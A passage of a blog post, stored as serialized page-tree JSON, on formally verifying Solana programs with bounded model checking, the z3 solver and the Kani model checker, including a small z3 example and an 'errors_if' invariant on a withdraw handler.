100",{"type":25,"tag":201,"props":20637,"children":20638},{"style":220},[20639],{"type":31,"value":275},{"type":25,"tag":201,"props":20641,"children":20642},{"class":203,"line":330},[20643,20648,20652,20656,20660,20664],{"type":25,"tag":201,"props":20644,"children":20645},{"style":220},[20646],{"type":31,"value":20647},"        z ",{"type":25,"tag":201,"props":20649,"children":20650},{"style":261},[20651],{"type":31,"value":1383},{"type":25,"tag":201,"props":20653,"children":20654},{"style":220},[20655],{"type":31,"value":6020},{"type":25,"tag":201,"props":20657,"children":20658},{"style":261},[20659],{"type":31,"value":6077},{"type":25,"tag":201,"props":20661,"children":20662},{"style":426},[20663],{"type":31,"value":9443},{"type":25,"tag":201,"props":20665,"children":20666},{"style":220},[20667],{"type":31,"value":461},{"type":25,"tag":201,"props":20669,"children":20670},{"class":203,"line":397},[20671,20675,20679],{"type":25,"tag":201,"props":20672,"children":20673},{"style":220},[20674],{"type":31,"value":17274},{"type":25,"tag":201,"props":20676,"children":20677},{"style":230},[20678],{"type":31,"value":322},{"type":25,"tag":201,"props":20680,"children":20681},{"style":220},[20682],{"type":31,"value":327},{"type":25,"tag":201,"props":20684,"children":20685},{"class":203,"line":437},[20686,20690,20694,20698,20702,20706],{"type":25,"tag":201,"props":20687,"children":20688},{"style":220},[20689],{"type":31,"value":20647},{"type":25,"tag":201,"props":20691,"children":20692},{"style":261},[20693],{"type":31,"value":1383},{"type":25,"tag":201,"props":20695,"children":20696},{"style":220},[20697],{"type":31,"value":6020},{"type":25,"tag":201,"props":20699,"children":20700},{"style":261},[20701],{"type":31,"value":5886},{"type":25,"tag":201,"props":20703,"children":20704},{"style":426},[20705],{"type":31,"value":6029},{"type":25,"tag":201,"props":20707,"children":20708},{"style":220},[20709],{"type":31,"value":461},{"type":25,"tag":201,"props":20711,"children":20712},{"class":203,"line":464},[20713],{"type":25,"tag":201,"props":20714,"children":20715},{"style":220},[20716],{"type":31,"value":4861},{"type":25,"tag":201,"props":20718,"children":20719},{"class":203,"line":490},[20720],{"type":25,"tag":201,"props":20721,"children":20722},{"emptyLinePlaceholder":17},[20723],{"type":31,"value":496},{"type":25,"tag":201,"props":20725,"children":20726},{"class":203,"line":499},[20727],{"type":25,"tag":201,"props":20728,"children":20729},{"style":4497},[20730],{"type":31,"value":20731},"    // Property P:\n",{"type":25,"tag":201,"props":20733,"children":20734},{"class":203,"line":522},[20735,20740,20745,20749,20754],{"type":25,"tag":201,"props":20736,"children":20737},{"style":214},[20738],{"type":31,"value":20739},"    assert",{"type":25,"tag":201,"props":20741,"children":20742},{"style":220},[20743],{"type":31,"value":20744},"(z ",{"type":25,"tag":201,"props":20746,"children":20747},{"style":261},[20748],{"type":31,"value":17184},{"type":25,"tag":201,"props":20750,"children":20751},{"style":426},[20752],{"type":31,"value":20753}," 105",{"type":25,"tag":201,"props":20755,"children":20756},{"style":220},[20757],{"type":31,"value":308},{"type":25,"tag":201,"props":20759,"children":20760},{"class":203,"line":531},[20761],{"type":25,"tag":201,"props":20762,"children":20763},{"style":220},[20764],{"type":31,"value":1187},{"type":25,"tag":34,"props":20766,"children":20767},{},[20768,20770,20775,20777,20783],{"type":31,"value":20769},"This function takes an input ",{"type":25,"tag":115,"props":20771,"children":20773},{"className":20772},[],[20774],{"type":31,"value":1606},{"type":31,"value":20776}," and does some computation. At the end of the program, the property we want to verify is that ",{"type":25,"tag":115,"props":20778,"children":20780},{"className":20779},[],[20781],{"type":31,"value":20782},"z != 105",{"type":31,"value":80},{"type":25,"tag":34,"props":20785,"children":20786},{},[20787],{"type":31,"value":20788},"With BMC, we could trace this program and derive the following constraints:",{"type":25,"tag":34,"props":20790,"children":20791},{},[20792],{"type":31,"value":20793},"Positive branch:",{"type":25,"tag":191,"props":20795,"children":20797},{"code":20796,"language":4652,"meta":7,"className":18010,"style":7},"y == x + 3\ny > 100\nz == y * 2\n",[20798],{"type":25,"tag":115,"props":20799,"children":20800},{"__ignoreMap":7},[20801,20826,20842],{"type":25,"tag":201,"props":20802,"children":20803},{"class":203,"line":204},[20804,20809,20813,20817,20821],{"type":25,"tag":201,"props":20805,"children":20806},{"style":220},[20807],{"type":31,"value":20808},"y ",{"type":25,"tag":201,"props":20810,"children":20811},{"style":261},[20812],{"type":31,"value":10083},{"type":25,"tag":201,"props":20814,"children":20815},{"style":220},[20816],{"type":31,"value":20589},{"type":25,"tag":201,"props":20818,"children":20819},{"style":261},[20820],{"type":31,"value":5886},{"type":25,"tag":201,"props":20822,"children":20823},{"style":426},[20824],{"type":31,"value":20825}," 3\n",{"type":25,"tag":201,"props":20827,"children":20828},{"class":203,"line":226},[20829,20833,20837],{"type":25,"tag":201,"props":20830,"children":20831},{"style":220},[20832],{"type":31,"value":20808},{"type":25,"tag":201,"props":20834,"children":20835},{"style":261},[20836],{"type":31,"value":1342},{"type":25,"tag":201,"props":20838,"children":20839},{"style":426},[20840],{"type":31,"value":20841}," 100\n",{"type":25,"tag":201,"props":20843,"children":20844},{"class":203,"line":278},[20845,20850,20854,20858,20862],{"type":25,"tag":201,"props":20846,"children":20847},{"style":220},[20848],{"type":31,"value":20849},"z ",{"type":25,"tag":201,"props":20851,"children":20852},{"style":261},[20853],{"type":31,"value":10083},{"type":25,"tag":201,"props":20855,"children":20856},{"style":220},[20857],{"type":31,"value":6020},{"type":25,"tag":201,"props":20859,"children":20860},{"style":261},[20861],{"type":31,"value":6077},{"type":25,"tag":201,"props":20863,"children":20864},{"style":426},[20865],{"type":31,"value":20866}," 2\n",{"type":25,"tag":34,"props":20868,"children":20869},{},[20870],{"type":31,"value":20871},"Negative branch:",{"type":25,"tag":191,"props":20873,"children":20875},{"code":20874,"language":4652,"meta":7,"className":18010,"style":7},"y == x + 3\ny \u003C= 100\nz == y + 1\n",[20876],{"type":25,"tag":115,"props":20877,"children":20878},{"__ignoreMap":7},[20879,20902,20918],{"type":25,"tag":201,"props":20880,"children":20881},{"class":203,"line":204},[20882,20886,20890,20894,20898],{"type":25,"tag":201,"props":20883,"children":20884},{"style":220},[20885],{"type":31,"value":20808},{"type":25,"tag":201,"props":20887,"children":20888},{"style":261},[20889],{"type":31,"value":10083},{"type":25,"tag":201,"props":20891,"children":20892},{"style":220},[20893],{"type":31,"value":20589},{"type":25,"tag":201,"props":20895,"children":20896},{"style":261},[20897],{"type":31,"value":5886},{"type":25,"tag":201,"props":20899,"children":20900},{"style":426},[20901],{"type":31,"value":20825},{"type":25,"tag":201,"props":20903,"children":20904},{"class":203,"line":226},[20905,20909,20914],{"type":25,"tag":201,"props":20906,"children":20907},{"style":220},[20908],{"type":31,"value":20808},{"type":25,"tag":201,"props":20910,"children":20911},{"style":261},[20912],{"type":31,"value":20913},"\u003C=",{"type":25,"tag":201,"props":20915,"children":20916},{"style":426},[20917],{"type":31,"value":20841},{"type":25,"tag":201,"props":20919,"children":20920},{"class":203,"line":278},[20921,20925,20929,20933,20937],{"type":25,"tag":201,"props":20922,"children":20923},{"style":220},[20924],{"type":31,"value":20849},{"type":25,"tag":201,"props":20926,"children":20927},{"style":261},[20928],{"type":31,"value":10083},{"type":25,"tag":201,"props":20930,"children":20931},{"style":220},[20932],{"type":31,"value":6020},{"type":25,"tag":201,"props":20934,"children":20935},{"style":261},[20936],{"type":31,"value":5886},{"type":25,"tag":201,"props":20938,"children":20939},{"style":426},[20940],{"type":31,"value":20941}," 1\n",{"type":25,"tag":34,"props":20943,"children":20944},{},[20945,20947,20954],{"type":31,"value":20946},"Using the ",{"type":25,"tag":71,"props":20948,"children":20951},{"href":20949,"rel":20950},"https://github.com/Z3Prover/z3",[75],[20952],{"type":31,"value":20953},"z3",{"type":31,"value":20955}," SMT solver, we could check both of these cases like so:",{"type":25,"tag":191,"props":20957,"children":20961},{"code":20958,"language":20959,"meta":7,"className":20960,"style":7},"from z3 import *\n\nx = Int('x')\ny = Int('y')\nz = Int('z')\n\n# Positive branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y > 100)\ns.add(z == y * 2)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n\n# Negative branch:\ns = Solver()\ns.add(y == x + 3)\ns.add(y \u003C= 100)\ns.add(z == y + 1)\n\n# check if we can violate the correctness property\ns.add(Not(z != 105))\nprint(s.check()) # \"unsat\"\n","python","language-python shiki shiki-themes slack-dark",[20962],{"type":25,"tag":115,"props":20963,"children":20964},{"__ignoreMap":7},[20965,20987,20994,21020,21044,21068,21075,21083,21100,21128,21147,21175,21182,21190,21210,21228,21235,21243,21258,21285,21304,21331,21338,21345,21364],{"type":25,"tag":201,"props":20966,"children":20967},{"class":203,"line":204},[20968,20973,20978,20982],{"type":25,"tag":201,"props":20969,"children":20970},{"style":230},[20971],{"type":31,"value":20972},"from",{"type":25,"tag":201,"props":20974,"children":20975},{"style":220},[20976],{"type":31,"value":20977}," z3 ",{"type":25,"tag":201,"props":20979,"children":20980},{"style":230},[20981],{"type":31,"value":1204},{"type":25,"tag":201,"props":20983,"children":20984},{"style":261},[20985],{"type":31,"value":20986}," *\n",{"type":25,"tag":201,"props":20988,"children":20989},{"class":203,"line":226},[20990],{"type":25,"tag":201,"props":20991,"children":20992},{"emptyLinePlaceholder":17},[20993],{"type":31,"value":496},{"type":25,"tag":201,"props":20995,"children":20996},{"class":203,"line":278},[20997,21002,21006,21011,21016],{"type":25,"tag":201,"props":20998,"children":20999},{"style":220},[21000],{"type":31,"value":21001},"x ",{"type":25,"tag":201,"props":21003,"children":21004},{"style":261},[21005],{"type":31,"value":1383},{"type":25,"tag":201,"props":21007,"children":21008},{"style":220},[21009],{"type":31,"value":21010}," Int(",{"type":25,"tag":201,"props":21012,"children":21013},{"style":267},[21014],{"type":31,"value":21015},"'x'",{"type":25,"tag":201,"props":21017,"children":21018},{"style":220},[21019],{"type":31,"value":4666},{"type":25,"tag":201,"props":21021,"children":21022},{"class":203,"line":311},[21023,21027,21031,21035,21040],{"type":25,"tag":201,"props":21024,"children":21025},{"style":220},[21026],{"type":31,"value":20808},{"type":25,"tag":201,"props":21028,"children":21029},{"style":261},[21030],{"type":31,"value":1383},{"type":25,"tag":201,"props":21032,"children":21033},{"style":220},[21034],{"type":31,"value":21010},{"type":25,"tag":201,"props":21036,"children":21037},{"style":267},[21038],{"type":31,"value":21039},"'y'",{"type":25,"tag":201,"props":21041,"children":21042},{"style":220},[21043],{"type":31,"value":4666},{"type":25,"tag":201,"props":21045,"children":21046},{"class":203,"line":330},[21047,21051,21055,21059,21064],{"type":25,"tag":201,"props":21048,"children":21049},{"style":220},[21050],{"type":31,"value":20849},{"type":25,"tag":201,"props":21052,"children":21053},{"style":261},[21054],{"type":31,"value":1383},{"type":25,"tag":201,"props":21056,"children":21057},{"style":220},[21058],{"type":31,"value":21010},{"type":25,"tag":201,"props":21060,"children":21061},{"style":267},[21062],{"type":31,"value":21063},"'z'",{"type":25,"tag":201,"props":21065,"children":21066},{"style":220},[21067],{"type":31,"value":4666},{"type":25,"tag":201,"props":21069,"children":21070},{"class":203,"line":397},[21071],{"type":25,"tag":201,"props":21072,"children":21073},{"emptyLinePlaceholder":17},[21074],{"type":31,"value":496},{"type":25,"tag":201,"props":21076,"children":21077},{"class":203,"line":437},[21078],{"type":25,"tag":201,"props":21079,"children":21080},{"style":4497},[21081],{"type":31,"value":21082},"# Positive branch:\n",{"type":25,"tag":201,"props":21084,"children":21085},{"class":203,"line":464},[21086,21091,21095],{"type":25,"tag":201,"props":21087,"children":21088},{"style":220},[21089],{"type":31,"value":21090},"s ",{"type":25,"tag":201,"props":21092,"children":21093},{"style":261},[21094],{"type":31,"value":1383},{"type":25,"tag":201,"props":21096,"children":21097},{"style":220},[21098],{"type":31,"value":21099}," Solver()\n",{"type":25,"tag":201,"props":21101,"children":21102},{"class":203,"line":490},[21103,21108,21112,21116,21120,21124],{"type":25,"tag":201,"props":21104,"children":21105},{"style":220},[21106],{"type":31,"value":21107},"s.add(y ",{"type":25,"tag":201,"props":21109,"children":21110},{"style":261},[21111],{"type":31,"value":10083},{"type":25,"tag":201,"props":21113,"children":21114},{"style":220},[21115],{"type":31,"value":20589},{"type":25,"tag":201,"props":21117,"children":21118},{"style":261},[21119],{"type":31,"value":5886},{"type":25,"tag":201,"props":21121,"children":21122},{"style":426},[21123],{"type":31,"value":20598},{"type":25,"tag":201,"props":21125,"children":21126},{"style":220},[21127],{"type":31,"value":4666},{"type":25,"tag":201,"props":21129,"children":21130},{"class":203,"line":499},[21131,21135,21139,21143],{"type":25,"tag":201,"props":21132,"children":21133},{"style":220},[21134],{"type":31,"value":21107},{"type":25,"tag":201,"props":21136,"children":21137},{"style":261},[21138],{"type":31,"value":1342},{"type":25,"tag":201,"props":21140,"children":21141},{"style":426},[21142],{"type":31,"value":20635},{"type":25,"tag":201,"props":21144,"children":21145},{"style":220},[21146],{"type":31,"value":4666},{"type":25,"tag":201,"props":21148,"children":21149},{"class":203,"line":522},[21150,21155,21159,21163,21167,21171],{"type":25,"tag":201,"props":21151,"children":21152},{"style":220},[21153],{"type":31,"value":21154},"s.add(z ",{"type":25,"tag":201,"props":21156,"children":21157},{"style":261},[21158],{"type":31,"value":10083},{"type":25,"tag":201,"props":21160,"children":21161},{"style":220},[21162],{"type":31,"value":6020},{"type":25,"tag":201,"props":21164,"children":21165},{"style":261},[21166],{"type":31,"value":6077},{"type":25,"tag":201,"props":21168,"children":21169},{"style":426},[21170],{"type":31,"value":9443},{"type":25,"tag":201,"props":21172,"children":21173},{"style":220},[21174],{"type":31,"value":4666},{"type":25,"tag":201,"props":21176,"children":21177},{"class":203,"line":531},[21178],{"type":25,"tag":201,"props":21179,"children":21180},{"emptyLinePlaceholder":17},[21181],{"type":31,"value":496},{"type":25,"tag":201,"props":21183,"children":21184},{"class":203,"line":550},[21185],{"type":25,"tag":201,"props":21186,"children":21187},{"style":4497},[21188],{"type":31,"value":21189},"# check if we can violate the correctness property\n",{"type":25,"tag":201,"props":21191,"children":21192},{"class":203,"line":563},[21193,21198,21202,21206],{"type":25,"tag":201,"props":21194,"children":21195},{"style":220},[21196],{"type":31,"value":21197},"s.add(Not(z ",{"type":25,"tag":201,"props":21199,"children":21200},{"style":261},[21201],{"type":31,"value":17184},{"type":25,"tag":201,"props":21203,"children":21204},{"style":426},[21205],{"type":31,"value":20753},{"type":25,"tag":201,"props":21207,"children":21208},{"style":220},[21209],{"type":31,"value":1086},{"type":25,"tag":201,"props":21211,"children":21212},{"class":203,"line":572},[21213,21218,21223],{"type":25,"tag":201,"props":21214,"children":21215},{"style":214},[21216],{"type":31,"value":21217},"print",{"type":25,"tag":201,"props":21219,"children":21220},{"style":220},[21221],{"type":31,"value":21222},"(s.check()) ",{"type":25,"tag":201,"props":21224,"children":21225},{"style":4497},[21226],{"type":31,"value":21227},"# \"unsat\"\n",{"type":25,"tag":201,"props":21229,"children":21230},{"class":203,"line":590},[21231],{"type":25,"tag":201,"props":21232,"children":21233},{"emptyLinePlaceholder":17},[21234],{"type":31,"value":496},{"type":25,"tag":201,"props":21236,"children":21237},{"class":203,"line":608},[21238],{"type":25,"tag":201,"props":21239,"children":21240},{"style":4497},[21241],{"type":31,"value":21242},"# Negative branch:\n",{"type":25,"tag":201,"props":21244,"children":21245},{"class":203,"line":617},[21246,21250,21254],{"type":25,"tag":201,"props":21247,"children":21248},{"style":220},[21249],{"type":31,"value":21090},{"type":25,"tag":201,"props":21251,"children":21252},{"style":261},[21253],{"type":31,"value":1383},{"type":25,"tag":201,"props":21255,"children":21256},{"style":220},[21257],{"type":31,"value":21099},{"type":25,"tag":201,"props":21259,"children":21260},{"class":203,"line":625},[21261,21265,21269,21273,21277,21281],{"type":25,"tag":201,"props":21262,"children":21263},{"style":220},[21264],{"type":31,"value":21107},{"type":25,"tag":201,"props":21266,"children":21267},{"style":261},[21268],{"type":31,"value":10083},{"type":25,"tag":201,"props":21270,"children":21271},{"style":220},[21272],{"type":31,"value":20589},{"type":25,"tag":201,"props":21274,"children":21275},{"style":261},[21276],{"type":31,"value":5886},{"type":25,"tag":201,"props":21278,"children":21279},{"style":426},[21280],{"type":31,"value":20598},{"type":25,"tag":201,"props":21282,"children":21283},{"style":220},[21284],{"type":31,"value":4666},{"type":25,"tag":201,"props":21286,"children":21287},{"class":203,"line":642},[21288,21292,21296,21300],{"type":25,"tag":201,"props":21289,"children":21290},{"style":220},[21291],{"type":31,"value":21107},{"type":25,"tag":201,"props":21293,"children":21294},{"style":261},[21295],{"type":31,"value":20913},{"type":25,"tag":201,"props":21297,"children":21298},{"style":426},[21299],{"type":31,"value":20635},{"type":25,"tag":201,"props":21301,"children":21302},{"style":220},[21303],{"type":31,"value":4666},{"type":25,"tag":201,"props":21305,"children":21306},{"class":203,"line":659},[21307,21311,21315,21319,21323,21327],{"type":25,"tag":201,"props":21308,"children":21309},{"style":220},[21310],{"type":31,"value":21154},{"type":25,"tag":201,"props":21312,"children":21313},{"style":261},[21314],{"type":31,"value":10083},{"type":25,"tag":201,"props":21316,"children":21317},{"style":220},[21318],{"type":31,"value":6020},{"type":25,"tag":201,"props":21320,"children":21321},{"style":261},[21322],{"type":31,"value":5886},{"type":25,"tag":201,"props":21324,"children":21325},{"style":426},[21326],{"type":31,"value":6029},{"type":25,"tag":201,"props":21328,"children":21329},{"style":220},[21330],{"type":31,"value":4666},{"type":25,"tag":201,"props":21332,"children":21333},{"class":203,"line":667},[21334],{"type":25,"tag":201,"props":21335,"children":21336},{"emptyLinePlaceholder":17},[21337],{"type":31,"value":496},{"type":25,"tag":201,"props":21339,"children":21340},{"class":203,"line":676},[21341],{"type":25,"tag":201,"props":21342,"children":21343},{"style":4497},[21344],{"type":31,"value":21189},{"type":25,"tag":201,"props":21346,"children":21347},{"class":203,"line":694},[21348,21352,21356,21360],{"type":25,"tag":201,"props":21349,"children":21350},{"style":220},[21351],{"type":31,"value":21197},{"type":25,"tag":201,"props":21353,"children":21354},{"style":261},[21355],{"type":31,"value":17184},{"type":25,"tag":201,"props":21357,"children":21358},{"style":426},[21359],{"type":31,"value":20753},{"type":25,"tag":201,"props":21361,"children":21362},{"style":220},[21363],{"type":31,"value":1086},{"type":25,"tag":201,"props":21365,"children":21366},{"class":203,"line":707},[21367,21371,21375],{"type":25,"tag":201,"props":21368,"children":21369},{"style":214},[21370],{"type":31,"value":21217},{"type":25,"tag":201,"props":21372,"children":21373},{"style":220},[21374],{"type":31,"value":21222},{"type":25,"tag":201,"props":21376,"children":21377},{"style":4497},[21378],{"type":31,"value":21227},{"type":25,"tag":34,"props":21380,"children":21381},{},[21382,21384,21390,21392,21397],{"type":31,"value":21383},"Both of these cases return ",{"type":25,"tag":115,"props":21385,"children":21387},{"className":21386},[],[21388],{"type":31,"value":21389},"unsat",{"type":31,"value":21391}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":25,"tag":65,"props":21393,"children":21394},{},[21395],{"type":31,"value":21396},"correct",{"type":31,"value":21398}," according to this property.",{"type":25,"tag":40,"props":21400,"children":21402},{"id":21401},"loop-bounds-path-explosion",[21403],{"type":31,"value":21404},"Loop bounds & path explosion",{"type":25,"tag":34,"props":21406,"children":21407},{},[21408,21410,21415,21417,21422],{"type":31,"value":21409},"As you may have noticed, BMC requires us to take ",{"type":25,"tag":65,"props":21411,"children":21412},{},[21413],{"type":31,"value":21414},"every",{"type":31,"value":21416}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":25,"tag":65,"props":21418,"children":21419},{},[21420],{"type":31,"value":21421},"infinite",{"type":31,"value":21423}," number of paths because the loop branches backward. This might take a while...",{"type":25,"tag":34,"props":21425,"children":21426},{},[21427],{"type":31,"value":21428},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":25,"tag":34,"props":21430,"children":21431},{},[21432],{"type":31,"value":21433},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":25,"tag":34,"props":21435,"children":21436},{},[21437],{"type":31,"value":21438},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":25,"tag":40,"props":21440,"children":21442},{"id":21441},"kani-model-checker",[21443],{"type":31,"value":21444},"Kani Model Checker",{"type":25,"tag":34,"props":21446,"children":21447},{},[21448,21450,21455],{"type":31,"value":21449},"For our research with formally verifying Solana programs, we are using the ",{"type":25,"tag":71,"props":21451,"children":21453},{"href":20346,"rel":21452},[75],[21454],{"type":31,"value":20350},{"type":31,"value":21456},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":25,"tag":34,"props":21458,"children":21459},{},[21460,21462,21467,21469,21475,21476,21482,21484,21490],{"type":31,"value":21461},"Kani allows you to write ",{"type":25,"tag":65,"props":21463,"children":21464},{},[21465],{"type":31,"value":21466},"proof harnesses",{"type":31,"value":21468}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":25,"tag":115,"props":21470,"children":21472},{"className":21471},[],[21473],{"type":31,"value":21474},"assume",{"type":31,"value":12493},{"type":25,"tag":115,"props":21477,"children":21479},{"className":21478},[],[21480],{"type":31,"value":21481},"assert",{"type":31,"value":21483}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":25,"tag":115,"props":21485,"children":21487},{"className":21486},[],[21488],{"type":31,"value":21489},"cargo kani",{"type":31,"value":21491}," tool (which compiles your proof harness and runs BMC).",{"type":25,"tag":26,"props":21493,"children":21495},{"id":21494},"specification-how-can-we-describe-what-we-want-our-program-to-do",[21496,21498,21502],{"type":31,"value":21497},"Specification: How can we describe what we ",{"type":25,"tag":65,"props":21499,"children":21500},{},[21501],{"type":31,"value":20420},{"type":31,"value":20422},{"type":25,"tag":34,"props":21504,"children":21505},{},[21506],{"type":25,"tag":65,"props":21507,"children":21508},{},[21509],{"type":25,"tag":1252,"props":21510,"children":21511},{},[21512],{"type":31,"value":21513},"And what even do we want it to do?",{"type":25,"tag":34,"props":21515,"children":21516},{},[21517,21519,21524],{"type":31,"value":21518},"A fundamental challenge with any formal verification framework is ",{"type":25,"tag":65,"props":21520,"children":21521},{},[21522],{"type":31,"value":21523},"specifying",{"type":31,"value":21525}," what the \"correct\" behavior should be.",{"type":25,"tag":34,"props":21527,"children":21528},{},[21529],{"type":31,"value":21530},"In natural language, we can describe a few good properties for example Solana programs:",{"type":25,"tag":18183,"props":21532,"children":21533},{},[21534,21546,21557],{"type":25,"tag":6948,"props":21535,"children":21536},{},[21537,21539,21544],{"type":31,"value":21538},"\"It should not be possible to ",{"type":25,"tag":1252,"props":21540,"children":21541},{},[21542],{"type":31,"value":21543},"steal money",{"type":31,"value":21545}," via a swap program\"",{"type":25,"tag":6948,"props":21547,"children":21548},{},[21549,21551,21556],{"type":31,"value":21550},"\"A multisig should never get into a state where you ",{"type":25,"tag":1252,"props":21552,"children":21553},{},[21554],{"type":31,"value":21555},"can't sign anything",{"type":31,"value":1557},{"type":25,"tag":6948,"props":21558,"children":21559},{},[21560],{"type":31,"value":21561},"\"User funds in a staking protocol \"",{"type":25,"tag":34,"props":21563,"children":21564},{},[21565,21567,21577,21579,21584],{"type":31,"value":21566},"These are types of properties you can tell your ",{"type":25,"tag":71,"props":21568,"children":21571},{"href":21569,"rel":21570},"https://osec.io/",[75],[21572],{"type":25,"tag":65,"props":21573,"children":21574},{},[21575],{"type":31,"value":21576},"human auditors",{"type":31,"value":21578}," but these English phrases are not particularly useful for ",{"type":25,"tag":65,"props":21580,"children":21581},{},[21582],{"type":31,"value":21583},"automated verification techniques",{"type":31,"value":21585}," (at least until our AI overlords surpass human intelligence).",{"type":25,"tag":34,"props":21587,"children":21588},{},[21589,21591,21596,21598,21603],{"type":31,"value":21590},"Instead, we need to be able to specify ",{"type":25,"tag":65,"props":21592,"children":21593},{},[21594],{"type":31,"value":21595},"in code",{"type":31,"value":21597}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":25,"tag":115,"props":21599,"children":21601},{"className":21600},[],[21602],{"type":31,"value":21481},{"type":31,"value":21604}," statement.",{"type":25,"tag":40,"props":21606,"children":21608},{"id":21607},"solana-invariants",[21609],{"type":31,"value":21610},"Solana Invariants",{"type":25,"tag":34,"props":21612,"children":21613},{},[21614,21616,21621,21622,21627],{"type":31,"value":21615},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":25,"tag":1252,"props":21617,"children":21618},{},[21619],{"type":31,"value":21620},"instruction invariants",{"type":31,"value":12493},{"type":25,"tag":1252,"props":21623,"children":21624},{},[21625],{"type":31,"value":21626},"account invariants",{"type":31,"value":80},{"type":25,"tag":20392,"props":21629,"children":21631},{"id":21630},"instruction-invariant",[21632],{"type":31,"value":21633},"Instruction Invariant",{"type":25,"tag":34,"props":21635,"children":21636},{},[21637,21639,21644,21646,21652,21653,21659],{"type":31,"value":21638},"An ",{"type":25,"tag":1252,"props":21640,"children":21641},{},[21642],{"type":31,"value":21643},"instruction invariant",{"type":31,"value":21645}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":25,"tag":115,"props":21647,"children":21649},{"className":21648},[],[21650],{"type":31,"value":21651},"succeeds_if",{"type":31,"value":14636},{"type":25,"tag":115,"props":21654,"children":21656},{"className":21655},[],[21657],{"type":31,"value":21658},"errors_if",{"type":31,"value":21660}," macro annotations on the instruction handler.",{"type":25,"tag":34,"props":21662,"children":21663},{},[21664],{"type":31,"value":21665},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":25,"tag":34,"props":21667,"children":21668},{},[21669,21671,21677,21679,21684],{"type":31,"value":21670},"For example, say we have a ",{"type":25,"tag":115,"props":21672,"children":21674},{"className":21673},[],[21675],{"type":31,"value":21676},"Withdraw",{"type":31,"value":21678}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":25,"tag":65,"props":21680,"children":21681},{},[21682],{"type":31,"value":21683},"more",{"type":31,"value":21685}," tokens than their current balance.",{"type":25,"tag":34,"props":21687,"children":21688},{},[21689,21691,21696],{"type":31,"value":21690},"Using our tool, you could specify the following ",{"type":25,"tag":115,"props":21692,"children":21694},{"className":21693},[],[21695],{"type":31,"value":21658},{"type":31,"value":21697}," property on your instruction handler:",{"type":25,"tag":191,"props":21699,"children":21701},{"code":21700,"language":4486,"meta":7,"className":4487,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n",[21702],{"type":25,"tag":115,"props":21703,"children":21704},{"__ignoreMap":7},[21705,21713,21748,21756,21829,21837],{"type":25,"tag":201,"props":21706,"children":21707},{"class":203,"line":204},[21708],{"type":25,"tag":201,"props":21709,"children":21710},{"style":220},[21711],{"type":31,"value":21712},"#[errors_if(\n",{"type":25,"tag":201,"props":21714,"children":21715},{"class":203,"line":226},[21716,21721,21725,21730,21734,21739,21743],{"type":25,"tag":201,"props":21717,"children":21718},{"style":220},[21719],{"type":31,"value":21720},"    ctx",{"type":25,"tag":201,"props":21722,"children":21723},{"style":261},[21724],{"type":31,"value":80},{"type":25,"tag":201,"props":21726,"children":21727},{"style":220},[21728],{"type":31,"value":21729},"user",{"type":25,"tag":201,"props":21731,"children":21732},{"style":261},[21733],{"type":31,"value":80},{"type":25,"tag":201,"props":21735,"children":21736},{"style":220},[21737],{"type":31,"value":21738},"balance ",{"type":25,"tag":201,"props":21740,"children":21741},{"style":261},[21742],{"type":31,"value":1298},{"type":25,"tag":201,"props":21744,"children":21745},{"style":220},[21746],{"type":31,"value":21747}," amount\n",{"type":25,"tag":201,"props":21749,"children":21750},{"class":203,"line":278},[21751],{"type":25,"tag":201,"props":21752,"children":21753},{"style":220},[21754],{"type":31,"value":21755},")]\n",{"type":25,"tag":201,"props":21757,"children":21758},{"class":203,"line":311},[21759,21764,21769,21773,21778,21782,21787,21791,21795,21799,21804,21808,21812,21816,21820,21824],{"type":25,"tag":201,"props":21760,"children":21761},{"style":208},[21762],{"type":31,"value":21763},"fn",{"type":25,"tag":201,"props":21765,"children":21766},{"style":214},[21767],{"type":31,"value":21768}," withdraw",{"type":25,"tag":201,"props":21770,"children":21771},{"style":220},[21772],{"type":31,"value":298},{"type":25,"tag":201,"props":21774,"children":21775},{"style":246},[21776],{"type":31,"value":21777},"ctx",{"type":25,"tag":201,"props":21779,"children":21780},{"style":261},[21781],{"type":31,"value":5997},{"type":25,"tag":201,"props":21783,"children":21784},{"style":4925},[21785],{"type":31,"value":21786}," 